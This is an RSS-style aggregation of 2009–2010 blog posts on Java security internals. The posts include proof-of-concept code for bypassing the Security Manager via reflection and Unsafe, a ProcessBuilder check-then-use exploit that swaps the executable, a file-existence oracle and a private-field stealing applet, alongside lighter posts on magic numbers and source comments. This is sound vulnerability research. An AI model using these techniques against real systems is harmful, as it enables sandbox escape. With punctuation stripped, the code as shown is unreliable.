<item><title> Reverse engineering  Java class magic errors</title><description>Secuobs.com : 2010-03-10 18:27:57 -  Slightly  Random Broken Thoughts - A quick post that has nothing to do with security When Java loads class files, be that over the network or from disk, it verifies the magic number, ie the 4 first bytes of the file In a valid Java class file these are always  in hex  CA FE BA BE That's 3405691582 as a decimal integer value If the local file or a network resource that Java is trying to read as class is corrupted or, in fact, is not a class file, you'll get an error  javalangClassFormatError  Incompatible magic value  number  in class file  packageclass  For example  javalangClassFormatError  Incompatible magic value 1008813135 in class file testMyClass A simple, but neat trick I picked up from a Brazilian forum some years ago, was to reverse the invalid magic value in order to better understand what file Java was reading In the example above, 1008813135 in hex is 3C 21 44 4F That, in ASCII translates into   In other words, Java is trying to load the binary class file, but instead is getting a HTML page Another example would be  Invalid magic integer from the error message  1013478509 Hex  3C 68 74 6D ASCII  htm  another HTML page  </description><link>http://www.secuobs.com/revue/news/200312.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/200312.shtml</guid></item>
<item><title>Java SE Security - Part III  Keys </title><description>Secuobs.com : 2010-02-28 05:25:29 -  Slightly  Random Broken Thoughts - This part is titled  Keys  The intention is to list the key items that must remain elusive to the attacker in order for the JVM to remain unharmed Compromising any of these will probably give the attacker full privileges I'll also show, at least in theory, how each of them could be used for this The Security Manager The Security Manager is at the very core of the Java Security Model It essentially decides whether any given operation is allowed or not While the JVM is running, the  current  or  installed  Security Manager is defined by the static javalangSystemsecurity field The type of the field is javalangSecurityManager which is a concrete, non-final class, so the SecurityManager is either an instance of that class, or a subclass A null value in the field is interpreted as security being turned off, thus  if that field can be set to null, security will be turned off The field is private, though, so one can t just waltz in and try to set it to null There's a public static method for defining a new Security Manager  SystemsetSecurityManager SecurityManager  If that method is called with a null parameter, the underlying field will be set to null and security will be turned off In order for that call to succeed though, the current Security Manager is consulted to see if the caller has the setSecurityManager RunTime permission Thus, possessing the setSecurityManager permission effectively gives code full privileges It would not be necessary to set a null SecurityManager to defy security If the attacker can define his own SecurityManager and set it as the current SecurityManager, he can allow all operations and elevate his privileges Aside from accessing the System class, a Security Manager class can be defined with the JVM startup argument -Djavasecuritymanager EvilUnsecureManager Also, compromising the  class  definition of the SecurityManager class or that of any of its subclasses would probably give the attacker full control More about compromising class definitions in a later item ClassLoader The ClassLoader is responsible for loading class definitions It also ultimately controls the privileges of each class that's being loaded The ClassLoaderdefineClass   methods have the access modifier protected, so only subclasses can access them If you can create a valid subclass of the ClassLoader, you can call the protected methods and define classes with full privileges This is essentially how CVE-2008-5353 leverages the privileged deserialization An example of how to define a new class with full privileges when you have access to the defineClass method  byte  evilBytecode     AllPermission allPerm   new AllPermission  PermissionCollection allPermissions   allPermnewPermissionCollection  allPermissionsadd allPerm  Class cls   defineClass null, evilBytecode, 0, evilBytecodelength, new ProtectionDomain null, allPermissions  clsnewInstance  Java access modifiers The Java access modifiers  private protected default public  for classes, fields and methods are probably the one single most important thing keeping the whole security together I've personally used protected and default very little in code I've written for any normal project However, the security architecture heavily relies on them A lot of things are kept inaccessible for an attacker by marking methods, fields and classes with the default access modifier It means that only the classes from the same package can access those items Same package here refers to same package within the same classloader Thus, it doesn't aid the attacker to define his applet class to be in the same package as some trusted Sun class, because the packages are classloader specific - if your class in package abc was defined in a different classloader than another class in package abc, it is effectively in a different package as far as access control goes If the attacker gained access to private members, it would be possible to set null to javalangSystemsecurity and disable Java security If the attacker gained access to protected members, it would be possible to call defineClass on the default applet ClassLoader and define classes with full privileges If the attacker gained access to default members, there'd be a lot of members in any number of classes that could be accessed to gain full privileges There are almost 40 different versions of a package-private class SecuritySupport  or SecuritySupport12  that does privileged file reading, property access, URL access and so on Reflection may be used to circumvent some of the access control restrictions More about reflection in its own item The final keyword As I discussed in a previous post,  final  has very distinct functions when used in conjunction with classes, methods and fields If the final modifier of a class could be overridden, in other words, if the attacker managed to subclass a final class, he might subclass javalangString and create his own mutable Strings More about String immutability in its own item Overriding final methods and modifying the value of final field could also possibly be abused, but I have no concrete examples of those cases Type system integrity Yet another crucial part of the security architecture is the Java type system integrity If the attacker can pass his own Foo class where a String class is expected he can probably create the effect of mutable Strings Or reversely, if the attacker is able to put a Java system class in a variable whose type is Bar  a user controlled class , he can probably gain access to private members Reflection Java Reflection API gives dynamic access to classes, fields and methods If one is able to call setAccessible true  on Field and Method objects, Java access control can be somewhat bypassed If you call setAccessible true  on an otherwise inaccessible field or method  private protected default  you gain access to it Example  Field security   SystemclassgetDeclaredField security  securitysetAccessible true  securityset null, null  However, many of the Reflection API calls require privileges and if a Security Manager is installed the attacker won't get far To successfully run the above example, one would need to possess the accessDeclaredMembers and suppressAccessChecks privileges If the attacker succeeds in obtaining a Field object for javalangSystemsecurity and calling setAccessible true  on it, he can turn off Java security by calling fieldset null, null  Privileged Deserialization Privileged Deserialization can be leveraged by the attacker in  possibly  many ways, probably the simplest being the creation of a custom Serializable ClassLoader which can then be used to define classes with full privileges This was at the core of CVE-2008-5353 A privileged block which does deserialization from a stream which can be manipulated by the attacker can probably be leveraged in other ways, too, since the serialization deserialization protocol is quite complex and flexible SecurityManager protected packages  sun, comsundeploy, etc  These packages have a more relaxed security The security manager and applet ClassLoader do not allow applets to access these packages directly If the attacker was able to access them, there'd probably be several ways to leverage it It seems to me that currently it is not allowed to reference the following packages  comsundeploy  comsunimageio  comsunjavaws  comsunjnlp  comsunxmlinternalbind  comsunxmlinternalws  sun  System Properties The System Properties  SystemgetProperties  contain a lot of influential stuff If an attacker was able to manipulate the System Properties he could probably elevate his privileges SystemgetProperties , despite of the name which suggest read access, returns a reference to the internal Properties object, so any modification to this object will alter the system properties Read access to the properties has the implication of privacy The attacker can find out the logged on username and several system paths  javaclasspath   C PROGRAM 1 Java jre6 classes javaendorseddirs   C Program Files Java jre6 lib endorsed javaextdirs   C Program Files Java jre6 lib ext C WINDOWS Sun Java lib ext javahome   C Program Files Java jre6 javaiotmpdir   C DOCUME 1 ADMINI 1 CONFIG 1 Temp  javalibrarypath    sunbootlibrarypath   C Program Files Java jre6 bin userdir     userhome   C Documents and Settings Administrator username   Administrator There are known cases where for example being able to alter the javaextdirs lead to a vulnerability I imagine this type of an attack only works if you can provide the property at JVM startup sunmiscUnsafe Unsafe is in a sun package and therefore inaccessible to applets It also has a private constructor, and the singleton getter method checks that the caller's classloader is null  system class  before handing out the object, so one could say it is very well guarded And for a reason, since it truly is the Chuck Norris of Java classes Unsafe allows direct access to fields and memory It allows, for example, for you to put an int value into an object field No security checks and no access control takes place when using Unsafe So it would be trivial to leverage Unsafe for privilege escalation I ll leave the how as a mental exercise for the reader Field usf   UnsafeclassgetDeclaredField theUnsafe  usfsetAccessible true  Unsafe unsafe    Unsafe  usfget null  Field stringChars   StringclassgetDeclaredField value  long offset   unsafeobjectFieldOffset stringChars  String test    test  char  value    char  unsafegetObject test, offset  value 2    'n'  Systemoutprintln test  String immutability String immutability is the basis for many operations String objects contain a private char array that normally cannot be accessed Should the attacker be able to access the char array and modify String objects, a lot of things could be broken, probably the security, too There is no defensive programming in the core classes against mutable Strings, and for a reason  it d require a lot of code A mutable String could thus be used in a timing attack, having a set of contents for verification and another set of contents for the actual operation String instances are also pooled and reused, so the attacker could probably put his instance on the pool and have it be reused by code that s inaccessible to him doPrivileged If the attacker can control a trusted doPrivileged block, or code called by it, through means of controlling input, accessed fields, overriding methods, subclassing, deserialization and classloading, etc, the attacker may be able to elevate his privileges  Re defining core classes If the attacker can compromise the class definitions of not just the most obvious classes  System, ClassLoader, SecurityManager , but any number of menial classes that participate in privileged blocks of code, the attacker could easily elevate his privileges I'm currently working on a twist of this type of an attack which should lead to a privilege escalation Key Permissions Every class has a set of permissions associated with it The permissions depend on where the code comes from  CodeSource  and what the javasecurity defines as the permissions for that source There are several permissions that, if an attacker can obtain them for his code, will  probably  lead to privilege escalation  AllPermission  The permission to do anything setSecurityManager  The permission to define a new security manager, set the security manager to null and all code has full permissions charsetProvider  Allows for creating mutable strings accessDeclaredMembers   suppressAccessChecks  With the combination of these two permissions, you can obtain any field or method, make it accessible and access it  call method, read write field value  The most straightforward way to leverage this would be to set a null security manager </description><link>http://www.secuobs.com/revue/news/196330.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/196330.shtml</guid></item>
<item><title>Java  final  and security</title><description>Secuobs.com : 2010-01-24 07:33:12 -  Slightly  Random Broken Thoughts - To kickstart the new year and in an attempt to get more writing done I think I'll try writing some shorter bits This one's about the Java  final  keyword - it's different nuances and how they relate to security Final has meanings that are so distinct that I sometimes wonder if it wouldn't have been clearer to use several different keywords Here are the meanings of the keyword final  Final classes Classes with the modifier final cannot be subclassed If the instances of the class have a state, that state can change, static fields, etc, everything may be mutable The final here only prohibits subclassing Final methods Methods with the modifier final cannot be overwritten overridden by subclasses The methods can be used by subclasses, their output may differ from call to call, they just cannot be redefined in the subclasses The method may be overloaded, because overloaded methods  methods with the same name, but different signature  are completely different methods in the eyes of the compiler and the runtime Final fields The value for fields with the modifier final can only be set once In the case of primitive type fields, this means that if the value was set to  int  91, then the value will remain 91 The compiler may take advantage of this knowledge and inline the value where it is being referred In the case of objects, if the field is set to reference an object, it will always reference that same object If the object is mutable, the perceived and logical value of the object may change, only it's identity is guaranteed not to change Final method variables Since method variables aren't accessible outside the method, the final keyword here is only for use of the compiler Security and final Here's how these nuances of the final keyword relate to security  Classes Final classes are very restrictive  since you can't subclass them you can't make them Serializable and you can't override their functionality As far as I can tell, there is no way around it either, the rule is absolute  if it's final, you can't override it Methods Final methods, like the classes are very restrictive At the most, you may be able to override another method that the final method calls and use that to alter the method's functioning Fields Final fields are not such an obvious case  while you cannot redefine their value there are some interesting details about them Their value isn't always the same If you can obtain access to an object before it's initializer has defined the value of the final field, the field will have it's uninitialized value which will be 0, false or null for numeric types, boolean types and object types respectively Then once the initializer sets the value it will change to the defined value That's a very minor detail, but security is all about knowing all the right minor details As stated, the field will always reference the same object, but the real value of that object is free to change If the object contains fields, etc that can be accessed and whose value can be altered then the value of the object itself can be changed Arrays are a special type of mutable objects -- the array elements of a final array field can change The array object itself will stay the same, and it's size or number of dimensions cannot change, but the element values are very much mutable A multidimensional array object is actually an array of objects with one less dimensions Thus in the case of a final multidimensional array object, only the outermost array is really final  the inner arrays may change identity and size sunmiscUnsafe The reflection API is bound by the final keyword and if you try changing the value of a final field via reflection, you will run into an IllegalAccessException There is, however, one omnipotent class in the sunmisc package, called Unsafe, which directly write into memory, put int values into object fields and it is also able to rewrite values into final fields You use the fieldOffset methods to determine the offset of a given field, and then you use one of the putXXX methods to set the value Unsafe can also access private fields </description><link>http://www.secuobs.com/revue/news/184841.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/184841.shtml</guid></item>
<item><title>FilePermission class leaks sensitive information</title><description>Secuobs.com : 2009-12-20 00:22:31 -  Slightly  Random Broken Thoughts - Somebody might consider it ironic that the security class which is responsible mapping access permission to files  javaioFilePermission  is actually leaking information about the filesystem FilePermission uses a doPrivileged block to obtain a canonical path to the file folder given as a parameter to the constructor The canonical path is then stored in a private and transient field  called cpath  which has no accessor method The canonical path is security-sensitive, because if you give it the input of    it will become the full  canonical  path to the current execution directory Also, in windows, if I give it a path, such as  c windows  it becomes  C WINDOWS  on my machine, as both the drive letter and windows folder are uppercase If I give it a path that does not exist, such as  C whatever  it does not get altered Thus I can test the existence of files and folders The cpath is not directly accessible, but the FilePermission class has a hashCode method, and the implementation is  384 public int hashCode    385 return thiscpathhashCode  386   So the hashcode of the String of the canonical path is available I looked into the possibility of reversing the string hash, but it's not really practical The simple algorith  which is explained here  is easy to reverse, but as it's extremely lossy, the number of strings that have any given hash is very big File or folder existence on Windows can be easily tested by giving a toLowerCase and toUpperCase versions of any path to FilePermission and then comparing the hashcodes If the hashcodes are equal, the file folder exists, if they're unequal, it doesn't exist For example, on my machine, the following  001 import javaioFilePermission  002 003 public class FP   004 public static void main String  args  throws Exception   005 Systemoutprintln fileExists C windows  006 Systemoutprintln fileExists C filedoesnotexist  007   008 009 static boolean fileExists String name    010 return new FilePermission nametoLowerCase ,  read hashCode    new FilePermission nametoUpperCase ,  read hashCode  011   012   Yields the output  true false In similar fashion, you could compare the hashes of FilePermissions for   ,   ,    ,      until the hashcode stops changing, which means you've hit the root  Drive-Letter  on windows or   on linux unix etc  The depth of the execution folder can thus be determined and it is possible to try to guess each of the folders of the path individually It's not a very serious problem at all, but it's one I found to be amusing both for the simplicity of it and the fact that it's in the very class that is used to map access to files </description><link>http://www.secuobs.com/revue/news/174322.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/174322.shtml</guid></item>
<item><title>Defensive Copying - How not to do it</title><description>Secuobs.com : 2009-12-15 07:31:09 -  Slightly  Random Broken Thoughts - Defensive Copying Sun Secure Coding Guidelines talks about defensive copying of input and output, to protect against modifications that occur after validation Let's look at one Sun implementation  from the javalang package, no less  as an example of how not to do it ProcessBuilder javalangProcessBuilder, as the javadoc puts it,  is used to create operating system processes  You give it a process name, parameters, environment variables and call the start method to execute the process The start method is defined as follows  435 public Process start  throws IOException   436   Must convert to array first -- a malicious user-supplied 437   list might try to circumvent the security check 438 String  cmdarray   commandtoArray new String commandsize  439 for  String arg   cmdarray  440 if  arg   null  441 throw new NullPointerException  442   Throws IndexOutOfBoundsException if command is empty 443 String prog   cmdarray 0  444 445 SecurityManager security   SystemgetSecurityManager  446 if  security   null  447 securitycheckExec prog  448 449 String dir   directory   null 450 451 try   452 return ProcessImplstart cmdarray, 453 environment, 454 dir, 455 redirectErrorStream  456   catch  IOException e    457   It's much easier for us to create a high-quality error 458   message than the low-level C code which found the problem 459 throw new IOException  460  Cannot run program     prog     461    dir   null 462         egetMessage , 463 e  464   465   The interesting bit is this  436   Must convert to array first -- a malicious user-supplied 437   list might try to circumvent the security check 438 String  cmdarray   commandtoArray new String commandsize  At first glance it might seem like the work of a security conscious programmer But quoting fictional Bob, from my previous post on immutability  Bob  Now you're calling toArray  on a List object that you can't really trust It could return an array and keep a reference to that array for itself for future modification And that's exactly the case here, too One doesn't even need to get into a tricky situation where a secondary thread keeps modifying the contents of the array  you can simply take advantage of the fact that between the validation on the array and the actual use of the array there's a call to another user supplied object, a File object in the directory field So you could initially pass a  safeexe  as the program, pass the validation of ProcessBuilderstart, and when the code calls FiletoString on the File object that's under your control, you set the first index of the String array as  evilexe  Example Let's create a fictional situation, where the security policy allows the execution of C windows system32 notepadexe and disallows the execution of any other executable We achieve this by creating a policy file as follows  name it notepadpolicy for example  grant   permission javaioFilePermission  C windows system32 notepadexe ,  execute    To enable a security manager for a standalone Java application and to use this policy we just created, always execute java with the following JVM options  -Djavasecuritymanager -Djavasecuritypolicy notepadpolicy In order to test it, try executing calcexe  001 002 003 public class PBCalc   004 public static void main String  args  throws Exception   005 ProcessBuilder pb   new ProcessBuilder C windows system32 calcexe  006 pbstart  007   008   If the security manager and our policy have been successfully configured that should result in  Exception in thread  main  javasecurityAccessControlException  access denied  javaioFilePermission C windows system32 calcexe execute  at javasecurityAccessControlContextcheckPermission AccessControlContextjava 323  at javasecurityAccessControllercheckPermission AccessControllerjava 546  at javalangSecurityManagercheckPermission SecurityManagerjava 532  at javalangSecurityManagercheckExec SecurityManagerjava 779  at javalangProcessBuilderstart ProcessBuilderjava 447  at PBCalcmain PBCalcjava 6  Executing notepadexe should work ok  001 002 003 public class PBNotepad   004 public static void main String  args  throws Exception   005 ProcessBuilder pb   new ProcessBuilder C windows system32 notepadexe  006 pbstart  007   008   And finally, exemple of the exploitation of the naive defensive copying We create a List object whose toArray method returns a reference to a String array while keeping a handle to said String array Initially the String array has notepadexe as the executed process, but once we pass the validation and ProcessBuilder calls toString of our  anonymous subclass of  File object toString method, we switch the executable as calcexe 001 import javaioFile  002 import javautilArrayList  003 import javautilList  004 005 public class PBMutable   006 public static void main String  args  throws Exception   007 final String  str    C windows system32 notepadexe  008 List list   new ArrayList    009 public Object  toArray Object  a    010 return str  011   012   013 014 ProcessBuilder pb   new ProcessBuilder list  015 pbdirectory new File     016 public String toString    017 str 0     calcexe  018 return supertoString  019   020   021 022 pbstart  023   024   Finally This isn't really usable in the applet sandbox world, as unsigned applets by default don't have any execution rights, but you should be aware that because of the naive defensive copying, granting any file execute permission you'll be granting the permission to execute anything at all </description><link>http://www.secuobs.com/revue/news/172078.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/172078.shtml</guid></item>
<item><title>Protection Against Finalizer attack</title><description>Secuobs.com : 2009-11-04 01:26:54 -  Slightly  Random Broken Thoughts - Java 6 update 17 is out Looks like Sun 1up'd the ClassLoader class's protection against the Finalizer Attack For more information on the finalizer attack  Sun Secure Coding Guidelines v20 Chapter 4-2 The old ClassLoader implementation used the tactic described in the secure coding guidelines It allows the attacker to create an instance of the class, which is not fully initialized However a boolean flag field renders the object unusable, as all significant operations check the flag Apparently that's not good enough anymore The new version of the ClassLoader has a protect constructor  actually 2, but let's look at the one that corresponds to the one in the secure coding guidelines  225 protected ClassLoader    226 this checkCreateClassLoader , getSystemClassLoader  227   Which calls the static method checkCreateClassLoader  175 private static Void checkCreateClassLoader    176 SecurityManager security   SystemgetSecurityManager  177 if security   null    178 securitycheckCreateClassLoader  179   180 return null  181   So if the SecurityManager doesn't allow a SecurityException gets thrown even before the superclass  Object  constructor is called, and thus there will be no object reference to  steal  in the finalizer Interesting Wonder if they'll update the Secure Coding Guidelines as well IMAGE  </description><link>http://www.secuobs.com/revue/news/156921.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/156921.shtml</guid></item>
<item><title>comsuncorbaseimplorbutilObjectUtility</title><description>Secuobs.com : 2009-10-14 12:34:26 -  Slightly  Random Broken Thoughts - Back to security Sun's strategy for prioritizing backwards compatibility is something I always appreciated as a developer Less headaches Yet, from a security perspective the ensuing bloatedness is rather challenging  The attack surface keeps on growing all the time So it's not all that surprising to find an applet security problem in an obscure CORBA class buried in the dark depths of the standard libraries On the other hand, it's the problems you find in the public javautil, javaio, etc classes that make you really appreciate how very difficult it is to build something secure But let's look at one of the aforementioned, obscure CORBA classes today   comsuncorbaseimplorbutilObjectUtility It has a problem I found rather interesting, but as far as I could tell, at least in the applet world, it is not exploitable in any serious way Of course it could be just my lack of ingenuity ObjectUtility has two basic functionalities  -Offer toString functionality to classes that don't implement toString It recursively lists all the instance field names and their values using reflection and formats the output neatly I actually use it sometimes as a quick-and-dirty debug to vomiting out object contents When there is no security manager present it lists all the fields, but with a security manager present it sticks to the public fields  less useful  -Offer equals functionality to classes that don't implement an equals method It recursively compares all the instance fields of two objects following somewhat complicated rules Let's look at the equals functionality a little bit closer The logic goes something like this  You give it two objects and it returns true or false depending on perceived equality, with the following details -in the case of object fields, recursion is used to compare the two values -static fields are ignored -Maps, Sets, Lists and arrays have special handling, where the Collection array contents are compared individually -objects x and y of the exact same class  ie xgetClass    ygetClass    are compared by comparing all the non-static fields individually -doPrivileged is used to allow access to private fields even with a security manager enabled -objects x and y of different classes  for example, Object instance and a String instance  are compared by calling equals of the first object, ie xequals y  Pause for a moment Absorb the logic Do you see a problem   This implementation leaks private information If you compare a malicious object to a sensitive object, in specific cases you can extract references to objects stored in private fields of said sensitive object Here's a semi-concrete example Let's preface it a bit  If you've ever written a Java applet, you'll have noticed that when you use Systemout to print some debug information, the output goes to the Java console How does this happen  The type of Systemout is PrintStream The applet environment sets the Systemout as a PrintStream instance which contains contains a Java plugin class TracePrintStream instance, which takes everything written to it and forwards it to be printed in the console PrintStream has no method for accessing the inherited  from superclass FilterOutputStream   out  field, but we can create a new PrintStream and put our own OutputStream inside it Then compare our PrintStream to Systemout Like this  001 002 003 import javaappletApplet  004 import javaioIOException  005 import javaioOutputStream  006 import javaioPrintStream  007 008 import comsuncorbaseimplorbutilObjectUtility  009 010 public class StealConsole extends Applet   011 012 public void start    013 PrintStream syso   Systemout  014 PrintStream stealer   new PrintStream new OutputStream    015 016 public void write int b  throws IOException   017   018 019 020 public boolean equals Object obj    021 Systemoutprintln Stole      objgetClass  022 return superequals obj  023   024  , false  025 026 boolean eq   ObjectUtilityequals stealer, syso  027   028 029   So we can get our hands on the TracePrintStream object contained within the PrintStream I did a quick PoC using this and a thread which kept polling the buffer of the TracePrintStream and on my other laptop with two processors it worked pretty good, it was an incredible CPU hog, but it intercepted everything written to the console by any applet So if you'd happen to be running a sensitive applet at the same time in the same browser that printed sensitive data in the console it'd be a bad thing I guess this turned out to be a rather theoretical example anyway Other examples that I've tried this on with success  The Collections class has utility methods which return immutable versions of Lists, Maps and Sets The way they work is that they keep a copy of the original list hidden away in a private field and the getter methods operate on this list and the setter methods throw exceptions But comparing these immutable collections to malicious collections it is possible to access the collection contained within and modify it However I couldn't find anything in the core Java where the security depended on the immutability of these collections IMAGE  </description><link>http://www.secuobs.com/revue/news/150334.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/150334.shtml</guid></item>
<item><title>Appease the serialization gods  and other interesting comments from the Java sources </title><description>Secuobs.com : 2009-08-31 16:51:50 -  Slightly  Random Broken Thoughts - And now something completely different  I've studied the Java sources quite a bit and I've learned a bunch I've also come across some pretty funny, strange and unexpected comments Here's my categorized compilation of the most interesting ones Funny javamathBigDecimal  001   Appease the serialization gods   002 private static final long serialVersionUID   6108874887143696463L  javautilArrayDeque  001   002   Appease the serialization gods 003   004 private static final long serialVersionUID   2340985798034038923L  comsuncorbaseimplnamingcosnamingNamingContextImpl  001 if  implResolve n 0 ,bth    null  002    Resistence is futile   Borg pickup line  003 throw new AlreadyBound  javaawtDialog  001   add all blockers' blockers to blockers   002 for  int i   0  i  blockerssize  i    Animator  Demo classes  001   002   Stop the insanity, um, applet 003   004 public synchronized void stop    005 engine   null  006 animationstopPlaying  007 if  userPause    008 userPause   false  009 notify  010   011   javaxswingtextrtfRTFGenerator  001 String approximationForUnicode char ch  002   003   TODO  Find reasonable approximations for all Unicode characters 004 in all RTF code pages heh, heh   005 return   006    Sorry, this typo is an inside joke and will only be funny to one person - you know who you are   comsuncorbaseimploapoaPOAImpl  001   002   POAImpl is the implementation of the Portable Object Adapter It 003   contains an implementation of the POA interfaces specified in 004   COBRA 231 chapter 11  formal 99-10-07  005  006   Resigned javaxswingTimer  001   This of course implies you can get dropped events, but such is life sunplugin2ipcwindowsWindowsIPCFactory  001   Might as well keep this around sunmediasoundMixerSourceLine  001   ivg  Well, it does hang in some cases sunsecurityx509AVA  001 if  inmarkSupported    002   oh well 003 return true  004   else   Informational suntoolsjavaClassDefinition  001   Why are they called Miranda methods  Well the sentence  If the 002   class is not able to provide a method, then one will be provided 003   by the compiler  is very similar to the sentence  If you cannot 004   afford an attorney, one will be provided by the court,  -- one 005   of the so-called  Miranda  rights in the United States Frustrated javaxswingJTabbedPane 001   REMIND aim  this is really silly  comsunxmlinternalbindv2utilDataSourceSource  001   catch  IOException e    002   argh 003 throw new RuntimeException e  004   comsunorgapachexmlinternalserializeHTMLdtd  001 public static boolean isURI  String tagName, String attrName   002   003   Stupid checks 004 return   attrNameequalsIgnoreCase   href     attrNameequalsIgnoreCase   src      005   javaxswingtextrtfAbstractFilter  001   stupid signed bytes 002 if  b  0  003 b   256  comsunorgapachexalaninternalxsltctraxTransformerHandlerImpl  001 catch  TransformerException e    002   What the hell are we supposed to do with this  003 throw new IllegalArgumentException egetMessage  004   sunmiscFloatingDecimal  001 if   diff   0L     002   damn, damn, damn q is too big sunxmlinternalstreamwritersXMLDOMWriterImpl  001 public void writeEndDocument  throws XMLStreamException   002  What do you want me to do eh    comsunorgapachexmlinternalresXMLMessages  001   Do this to keep format from crying Amused sunawtX11XWM  001   002   Helper function for isEnlightenment  003   Enlightenment uses STRING property for its comms window id Gaaa  004   The property is ENLIGHTENMENT_COMMS, STRING 8 and the string format 005   is  WINID pourcents8x  Gee, I haven't been using scanf for  ages   -  006   Agressive comsunorgapachexalaninternalxsltProcess  001   It is _much_ easier to debug under VJ  if I can set a single breakpoint 002   before this blows itself out of the water 003    I keep checking this in, it keeps vanishing Grr  004     005 static void doExit String msg  006   007 throw new RuntimeException msg  008   comsunorgapachexalaninternalxsltcdomBitArray  001   002   This method returns the Nth bit that is set in the bit array The 003   current position is cached in the following 4 variables and will 004   help speed up a sequence of next  call in an index iterator This 005   method is a mess, but it is fast and it works, so don't fuck with it 006   Playful sunawtmotifMWindowPeer  001   XXX  nasty WM, foul play spank WM author 002 public void handleDestroy    DirectoryScanner  Example classes  001   As it stands, we simply call taskexecute  in the current 002   thread - brave and fearless readers may want to attempt the 003   modification  -  Threatric javautilloggingLogManager  001 if  deathImminent    002   Aaargh 003   The VM is shutting down and our exit hook has been called 004   Avoid allocating global handlers 005 return  006   Downright Crazy javaxswingtextrtfMockAttributeSet  001   This AttributeSet is made entirely out of tofu and Ritz Crackers 002 and yet has a remarkably attribute-set-like interface    003 class MockAttributeSet 004 implements AttributeSet, MutableAttributeSet  This has been featured on the dailywtf in the past  comsunorgapachexalaninternalxsltctraxTransformerFactoryImpl  001   002   As Gregor Samsa awoke one morning from uneasy dreams he found himself 003   transformed in his bed into a gigantic insect He was lying on his hard, 004   as it were armour plated, back, and if he lifted his head a little he 005   could see his big, brown belly divided into stiff, arched segments, on 006   top of which the bed quilt could hardly keep in position and was about 007   to slide off completely His numerous legs, which were pitifully thin 008   compared to the rest of his bulk, waved helplessly before his eyes 009    What has happened to me 010   011 protected final static String DEFAULT_TRANSLET_NAME    GregorSamsa  Joyous comsunorgapachexmlinternalserializerutilsMessages  001 fmsg   javatextMessageFormatformat msg, args  002   if we get past the line above we have create the message  hurray  Sarcastic comsunorgapachexpathinternalaxesWalkerFactory  001   If we have an attribute or namespace axis that went up, then 002   it won't find the attribute in the inverse, since the select-to-match 003   axes are not invertable  an element is a parent of an attribute, but 004   and attribute is not a child of an element  005   If we don't do the magic below, then  ancestor-or-self  gets 006   inverted for match to  self descendant-or-self parent node , 007   which obviously won't work 008   So we will rewrite this as  009    self descendant-or-self attribute parent node  010   Child has to be rewritten a little differently  011   select   parent  012   inverted match   self child parent node  013   rewrite   self attribute parent node  014   Axes that go down in the select, do not have to have special treatment 015   in the rewrite The following inverted match will still not select 016   anything 017   select   child  018   inverted match   self parent parent node  019   Lovely business, this Disgusted comsuntoolsinternalxjcreaderxmlschemaSimpleTypeBuilder  001   TODO  this is so dumb 002 mput string , CBuiltinLeafInfoSTRING  003 mput anyURI , CBuiltinLeafInfoSTRING  004 mput boolean , CBuiltinLeafInfoBOOLEAN  comsuntoolsexampledebugbdiJDIEventSource  001   Gross foul hackery  002 private void dispatchEventSet final AbstractEventSet es    javaxswingtreeFixedHeightLayoutCache  001   YECK  002 return getRow    1   getTotalChildCount  - 003  childCount - index  comsunorgapachexpathinternalaxesLocPathIterator  001   Yech, shouldn't have to do this -sb 002 if null   m_prefixResolver  003 m_prefixResolver   xctxtgetNamespaceContext  004 005  006 clonem_predCount   m_predicateIndex  007   The line above used to be  008   clonem_predCount   predCount - 1  009   which looks like a dumb bug to me -sb comsunmediasoundMixerClip  001   i don't think we should allow this in this release  too many ways to screw up  002   003     if we have a sample voice, update it 004   if  id   0    005     can throw IllegalArgumentException 006     007   nSetLoopPoints id,  int start,  int end  008     009    001   002  003 if  Printererr  Printererr Could not re-open clip in MixerClipjavasetLoopPoints  004   we are screwed re-open failed  005   sorry 006 implClose  007  008   comsundeployutilVersionID  001   FIXME  this is a horrendously inefficient representation  002   should use an array of ints or Integers rather than re-parsing 003   them every time comsunorgapachexmlinternaldtmrefIncrementalSAXSource_Filter  001   Horrendous kluge to run filter to completion See below 002 if fNoMoreEvents  003 return  Notepad  Demo Classes  001   002   To shutdown when run as an application This is a 003   fairly lame implementation A more self-respecting 004   implementation would at least check to see if a save 005   was needed 006   007 protected static final class AppCloser extends WindowAdapter   008 public void windowClosing WindowEvent e    009 Systemexit 0  010   011   Other sunjkernelDigestOutputStream  001   catch  NoSuchAlgorithmException e    002   Impossible to get here, but stranger things have happened 003 throw new RuntimeException DigestOutputStream  unknown algorithm  004   005   superstition from a test failure thisout   out  comsunorgapachexalaninternalxsltcdomCachedDocument  001   Brutal handling of all exceptions 002 catch  Exception e    003 return SystemcurrentTimeMillis  004   comsunjavautiljarpackPackageWriter  001   Crash and burn with a complaint if there are funny 002   bytecodes in this class file 003 String complaint   codegetMethod  004   contains an unrecognized bytecode  i 005   please use the pass-file option on this class  006 Utilslogwarning complaint  007 throw new IOException complaint  javautiljarPack200  001   002  003   Examples  004   Map p   packerproperties  005   pput PASS_FILE_PFX 0,  mutants Rogueclass  006   pput PASS_FILE_PFX 1,  mutants Wolverineclass  007   pput PASS_FILE_PFX 2,  mutants Stormclass  008     Pass all files in an entire directory hierarchy  009   pput PASS_FILE_PFX 3,  police  010   comsuntoolsjdiObjectReferenceImpl  001   The above code is left over from previous versions 002   We haven't had time to divine the intent jjh, 7 31 2003 003   comsunmediasoundRealTimeSequencer  001   catch  MidiUnavailableException mue    002   uhum, strange situation Need to cast to InvalidMidiDataException 003 throw new InvalidMidiDataException muegetMessage  004   comsunorgapachexmlinternaldtmrefdom2dtmDOM2DTM  001    If it's an EntityReference node, we're probably scrod For now 002   I'm just hoping nobody is ever quite that foolish pourcentsREVIEWpourcents  comsuntoolsdocletsformatshtmlAbstractTreeWriter  001   002   Generate each level of the class tree For each sub-class or 003   sub-interface indents the next level information 004   Recurses itself to generate subclasses info 005   To iterate is human, to recurse is divine - L Peter Deutsch 006   007    param parent the superclass or superinterface of the list 008    param list list of the sub-classes at this level 009    param isEnum true if we are generating a tree for enums 010   sunawtshellWin32ShellFolder2  001   Ouch, we have no hard drives Return something  valid  anyway 002 return new File C  comsunorgapachebcelinternalExceptionConstants  001   The mother of all exceptions 002   003 public static final Class THROWABLE   Throwableclass  